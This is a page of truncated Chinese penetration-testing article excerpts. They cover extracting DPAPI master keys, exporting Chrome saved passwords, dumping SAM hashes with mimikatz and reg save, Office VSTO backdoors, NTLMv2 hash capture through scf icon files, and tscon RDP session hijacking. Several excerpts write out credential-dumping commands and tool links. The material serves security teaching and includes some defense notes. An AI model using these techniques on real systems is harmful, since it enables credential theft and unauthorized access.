-
渗透技巧——获取Windows系统下DPAPI中的MasterKey
0x00前言 对于Windows系统,用户的加密数据大都采用DPAPI进行存储,而想要解密这些数据解,必须要获得DPAPI对应的MasterKey。本文将会介绍在获得了Windows系统的权限后获得MasterKey的方法,同时分析Preferred文件格式,延长MasterKey的有效期 0x01 简介 本文将要介绍以下内容 基本概念 获得MasterKey的方法 解析Preferred文件 修改MasterKey失效时间 0x02 基本概念 DPAPI: 全称Data Protection Application Programming Interface 作为Windows系统的一个数据保护接口被广泛使用 主要用于保护加密的数据,常见的应用如: EFS文件加密 存储无线连接密码 Windows Credential Manager Internet Explorer Outlook Skype Windows CardSpace Windows Vault Google Chrome Master Key: 64字节,用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中 Master Key file: 二进制文件,可使用用户登录密码对其解密,获得Master Key 分为两种: 用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID% 系统Master...
-
渗透技巧——利用Masterkey离线导出Chrome浏览器中保存的密码
0x00 前言 在之前的文章《渗透技巧——离线导出Chrome浏览器中保存的密码》曾得出结论:使用用户的ntlm hash,无法导出Chrome浏览器保存的明文密码。 而目前的Windows系统(如Windows Server 2012),默认无法导出用户的明文口令,只能获得ntlm hash。 也就是说,即使获得了系统的访问权限,如果无法获得明文口令,通过文章《渗透技巧——离线导出Chrome浏览器中保存的密码》介绍的方法还是无法离线(但可以在线)导出Chrome浏览器保存的明文密码。 本文将要介绍一种新方法,利用Masterkey离线导出Chrome浏览器中保存的密码,不需要获得用户的明文口令,并且得出新的结论。 0x01 简介 本文将要介绍以下内容: 基础概念 解密思路 导出方法 实际测试 0x02 基础概念 DPAPI: 全称Data Protection Application Programming Interface DPAPI blob: 一段密文,可使用Master Key对其解密 Master Key: 64字节,用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中 Master Key file: 二进制文件,可使用用户登录密码对其解密,获得Master Key 0x03 DPAPI解密思路 1、定位加密的Master Key file 文章《渗透技巧——离线导出Chrome浏览器中保存的密码》曾得出结论:无法定位解密Chrome数据库对应的Master Key file 该结论有误,实际上能够对其定位,方法见0x04 2、从lsass进程提取出Master...
-
渗透技巧——通过SAM数据库获得本地用户hash
0x00 前言 在渗透测试中,获得了Windows系统的访问权限后,通常会使用mimikatz的sekurlsa::logonpasswords命令尝试读取进程lsass的信息来获取当前登录用户的密码信息,但想要全面获取系统中的密码信息,还要对SAM数据库中保存的信息进行提取,导出当前系统中所有本地用户的hash。 0x01 简介 本文将要介绍以下内容: 通过SAM数据库获得用户hash的多种方法 原理分析 0x02 通过SAM数据库获得用户hash的方法 1、在线读取SAM数据库 读取当前系统的SAM数据库文件,获得系统所有本地用户的hash (1) mimikatz privilege::debug token::elevate lsadump::sam 测试如下图 (2) pwdump7 下载地址: http://passwords.openwall.net/b/pwdump/pwdump7.zip 管理员权限执行,如下图 (3) powershell 下载地址: https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1 管理员权限执行,测试如下图 2、离线读取SAM数据库 获取当前系统的SAM数据库文件,在另一系统下进行读取 导出SAM数据库文件有以下两种实现方法: (1) 保存注册表 管理员权限 reg save HKLM\SYSTEM SystemBkup.hiv reg save HKLM\SAM SamBkup.hiv (2) 复制文件 C:\Windows\System32\config\SYSTEM C:\Windows\System32\config\SAM 默认无法被复制,如下图 需要借助NinjaCopy,作者Joe Bialek,参考下载地址: https://github.com/3gstudent/NinjaCopy...
-
利用VSTO实现的office后门
0x00 前言 – 最近看了一篇文章《VSTO: The Payload Installer That Probably Defeats Your Application Whitelisting Rules》,介绍了利用VSTO实现Office后门的方法,我在之前的文章《Use Office to maintain persistence》和《Office Persistence on x64 operating system》曾对Office的后门进行过学习,本文将结合自己的研究心得,对该方法进行复现,分析利用思路,分享实际利用方法,最后介绍如何识别这种后门。 文章地址: https://bohops.com/2018/01/31/vsto-the-payload-installer-that-probably-defeats-your-application-whitelisting-rules/ 0x01 简介 本文将要介绍以下内容: VSTO的编写方法 实际利用思路 后门检测 0x02 VSTO的编写方法 1、VSTO简介 全称Visual Studio Tools for Office 用来定制Office应用程序,能够同office控件交互 集成在Visual Studio安装包中 如下图 2、VSTO开发 本节内容是对《VSTO: The Payload Installer That Probably...
-
渗透技巧——Windows下剪贴板的利用
0x00 前言 在Windows系统下,剪贴板是一个常见的功能,这其中有哪些可被利用的地方呢?本文将尝试整理这部分内容 0x01 简介 本文将要介绍以下内容: 写入剪贴板的方法 读取剪贴板的方法 利用思路 0x02 剪贴板简介 剪贴板是指windows操作系统提供的一个暂存数据和共享数据的模块,可理解为数据中转站 剪贴板的内容保存在内存中,所以系统重启后,保存的数据丢失 XP系统支持剪贴板查看器clipbrd.exe(Win7后移除),可查看剪贴板内容 剪贴板查看器clipbrd.exe不需要安装,可直接在其他系统(例如Win7)下使用 复制数据后,在剪贴板查看器clipbrd.exe中实时显示复制的内容,如下图 0x03 写入剪贴板的方法 1、Ctrl+C 复制数据,或者通过快捷键Ctrl+C,数据保存到剪贴板中 2、cmd下的方法 将whoami输出的内容复制到剪贴板上: whoami|clip 如下图 将11.txt的内容复制到剪贴板上: clip<11.txt 如下图 3、程序调用API实现 c++测试代码如下: #include <windows.h> BOOL CopyToClipboard(char* pszData) { if(::OpenClipboard(NULL)) { ::EmptyClipboard(); HGLOBAL clipbuffer; char *buffer; clipbuffer = ::GlobalAlloc(GMEM_DDESHARE, strlen(pszData)+1); buffer = (char *)::GlobalLock(clipbuffer);...
-
渗透基础——获得当前系统已安装的程序列表
0x00 前言 最近遇到了一个有趣的问题: 我在尝试使用wmi获取当前系统已安装的程序列表时,并不能获得完整的列表。于是做了进一步研究,找出错误原因,改变思路,完成目标。 本文是一篇介绍基础知识的文章,用来解决基本的问题。 0x01 简介 本文将要介绍以下内容: 通过wmi获取当前系统已安装的程序列表 wmi查询结果不完整的原因 获取完整程序列表的实现思路 0x02 获取当前系统已安装的程序列表 1、使用powershell调用wmi 代码如下: Get-WmiObject -class Win32_Product 对输出结果进行过滤,只显示程序名称,代码如下: Get-WmiObject -class Win32_Product |Select-Object -Property name 获得结果如下图 2、使用wmic调用wmi 代码如下: wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_Product 对输出结果进行过滤,只显示程序名称,代码如下: wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_Product get name /FORMAT:table 获得结果如下图 3、使用WMI Explorer调用wmi 下载地址: https://wmie.codeplex.com/releases/view/135794 界面化的WMI查询工具,可用来查询wmi支持的类,是研究wmi的好工具 首先点击Connect连接本机 选中ROOT\CIMV2 -> Query...
-
渗透技巧——离线导出Chrome浏览器中保存的密码
0x00 前言 在上篇文章《渗透技巧——导出Chrome浏览器中保存的密码》介绍了导出Chrome浏览器密码的原理和利用方法,文末留下一个问题: 如果只获得了用户的ntlm hash,能否导出Chrome浏览器保存的明文密码呢? 该部分的参考资料较少,而想要解答这个问题,需要了解加解密的原理,所以本文尝试对该部分内容做介绍,得出最终结论 0x01 简介 本文将要介绍以下内容: DPAPI简介及相关概念 DPAPI加解密流程 离线导出原理 离线导出方法 得出最终结论 0x02 DPAPI简介 本节内容参考自如下链接,加入个人理解: https://msdn.microsoft.com/en-us/library/ms995355.aspx https://www.passcape.com/index.php?section=docsys&cmd=details&id=28 DPAPI全称Data Protection Application Programming Interface 作为Windows系统的一个数据保护接口被广泛使用 主要用于保护加密的数据,常见的应用如: EFS文件加密 存储无线连接密码 Windows Credential Manager Internet Explorer Outlook Skype Windows CardSpace Windows Vault Google Chrome 使用简单,加密使用函数CryptProtectData,解密使用函数CryptUnprotectData即可,系统在后台自动完成其他复杂的加解密操作 CryptProtectData的说明可参考: https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx CryptUnprotectData的说明可参考: https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx 专有名词 DPAPI blob: 一段密文,可使用Master...
-
渗透技巧——导出Chrome浏览器中保存的密码
0x00 前言 在后渗透阶段,获得权限后需要搜集目标系统的信息。信息越全面,越有助于进一步的渗透。对于Windows系统,用户浏览器往往包含有价值的信息。 在之前的文章《本地密码查看工具LaZagne中的自定义脚本开发》曾介绍过利用LaZagne导出多个浏览器密码的方法。 本文将要针对Chrome浏览器,介绍具体的导出原理和利用方法,解决一个实际问题: 如何导出另一系统下Chrome浏览器中保存的密码? 0x01 简介 本文将要介绍以下内容: Chrome浏览器保存密码的方式 如何导出Chrome浏览器中保存的密码 常用方法的限制 如何导出另一系统下Chrome浏览器中保存的密码 0x02 Chrome浏览器保存密码的方式 正常用户在访问网站时,可选择使用Chrome浏览器保存登录的用户密码,用于下次登录的时候Chrome自动填写登录密码,如下图 在Chrome中可以查看保存的登录密码(需要提供用户口令),如下图 Chrome中保存的密码先被二次加密,然后被保存在SQLite数据库文件中,位置如下: %LocalAppData%\Google\Chrome\User Data\Default\Login Data 实际测试: 测试系统: Win7x86 Chrome版本: 63.0.3239.132 定位SQLite数据库文件,位于C:\Users\a\AppData\Local\Google\Chrome\User Data\Default\Login Data 使用工具读取数据库文件,测试工具: SQLiteStudio 下载地址: https://sqlitestudio.pl/index.rvt 注: SQLiteStudio开源,特点是支持查看十六进制数据(SQLiteSpy不支持查看十六进制数据) 成功读取数据库文件保存的信息,但password段无法显示,如下图 选择Form view,查看十六进制格式,获得二次加密后的用户密码,如下图 注: 如果Chrome正在运行,无法使用SQLiteStudio打开数据库文件Login Data,可将该文件复制后再打开 0x03 导出Chrome浏览器中保存的密码 首先,编写程序实现读取SQLite数据库文件,这里选择使用python实现 开源代码很多,所以这里只给出一个示例 from os import getenv import...
-
渗透技巧——利用图标文件获取连接文件服务器的NTLMv2 Hash
0x00 前言 在文章《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》介绍了在服务器上通过Windows命令行抓包获取连接文件服务器的NTLMv2 Hash的方法,解决了一个有趣的问题: 如果获得了内网一个文件服务器的权限,如何获得更多用户的口令? 本文将换一种实现方式,通过修改文件服务器上的图标文件,强制用户访问伪造的文件服务器,在伪造的文件服务器上抓包获取连接文件服务器的NTLMv2 Hash。 0x01 简介 本文将要介绍以下内容: 添加scf文件强制用户访问伪造的文件服务器 修改文件夹图标强制用户访问伪造的文件服务器 文件夹图标后门 防御思路 0x02 实现思路 利用SMB协议的特性,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录 在用户访问文件服务器时,如果我们能够欺骗用户访问伪造的文件服务器,并在伪造的文件服务器上抓包,那么就能获得用户本机的NTLMv2 Hash 所以关键是如何欺骗用户访问伪造的文件服务器,同时又保证隐蔽 欺骗用户访问伪造的文件服务器的方法有多种(钓鱼方式暂略),那么有没有当用户打开文件共享时,自动访问伪造文件服务器的方法呢?当然是有的,接下来主要介绍两种实现方式 0x03 添加scf文件强制用户访问伪造的文件服务器 其他文章对该方法已经有过介绍,参考资料: https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/ https://xianzhi.aliyun.com/forum/topic/1624 这里简要介绍一下原理 scf文件: SCF文件是”WINDOWS资源管理器命令”文件,是一种可执行文件,该类型文件由Windows Explorer Command解释,标准安装 包含三种类型: Explorer.scf(资源管理器) Show Desktop.scf(显示桌面) View Channels.scf(查看频道) 格式示例: [Shell] Command=2 IconFile=explorer.exe,3 [Taskbar] Command=ToggleDesktop IconFile属性支持UNC路径,也就是说,可以指定文件服务器上的某个文件,例如IconFile=\\192.168.62.130\test\explorer.exe,3 特别的地方: 使用Explore.exe打开包含该文件的路径时,由于scf文件包含了IconFile属性,所以Explore.exe会尝试获取文件的图标,如果图标位于文件服务器,就会访问该文件服务器 直观理解: 打开某一文件夹,该文件夹下面包含scf文件,scf文件的IconFile属性指向文件服务器,本机会自动访问该文件服务器,在访问过程中,默认先使用本机的用户名和密码hash尝试登录。如果文件服务器抓取数据包,就能够获得NTLMv2 Hash...
-
渗透技巧——利用tscon实现未授权登录远程桌面
0x00 前言 Windows系统下,tscon可被用来切换远程桌面的会话。正常情况下,切换会话时需要提供登录密码,但通过特殊的利用方法能够绕过验证,不输入密码实现未授权登录。 这会造成什么影响呢?这个方法能用在哪种条件下呢?结合利用方法又该如何防御呢?本文将要一一介绍 注: 本文使用tscon未授权登录的思路借鉴于如下链接: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6 0x01 简介 本文将要介绍以下内容: tscon的正常用法 利用tscon实现未授权登录远程桌面的方法 应用实例 防御建议 0x02 tscon的正常用法 对于开启远程桌面服务的Windows系统,当有多个用户登录该系统时,会产生多个会话,如下图 测试系统: Server2012 R2 用户Administrator为本地登录 用户b为通过远程桌面服务(RDP)连接3389端口远程登录 接下来,如果用户Administrator想要切换至用户b的远程桌面,可通过右键-Connect进行连接,接着输入密码即可 如下图 tscon是命令行下使用的工具,可实现相同的功能 首先获取用户对应的sessionid,执行如下命令: query user 输出如下图 用户b对应的sessionid为2 通过tscon切换至用户b的桌面,命令如下: tscon 2 /PASSWORD:test123! 0x03 利用tscon实现未授权登录远程桌面的方法 在System权限执行同样的命令,就能够绕过输入密码的过程,直接切换 从Admin权限切换到System权限的方法在之前的文章《渗透技巧——从Admin权限切换到System权限》有过详细介绍,常用方法有如下三种: 通过创建服务获得System权限 利用MSIExec获得System权限 利用token复制获得System权限 选取其中的一种,获得system权限,接着输入如下命令: tscon 2 成功登录 0x04 应用实例一 对于Server2012 R2系统,默认情况下,通过mimikatz无法导出明文口令,测试环境下,通过某些方法获得了服务器的一个用户名密码,可以通过远程桌面进行登录 登录后发现后台存在另一用户...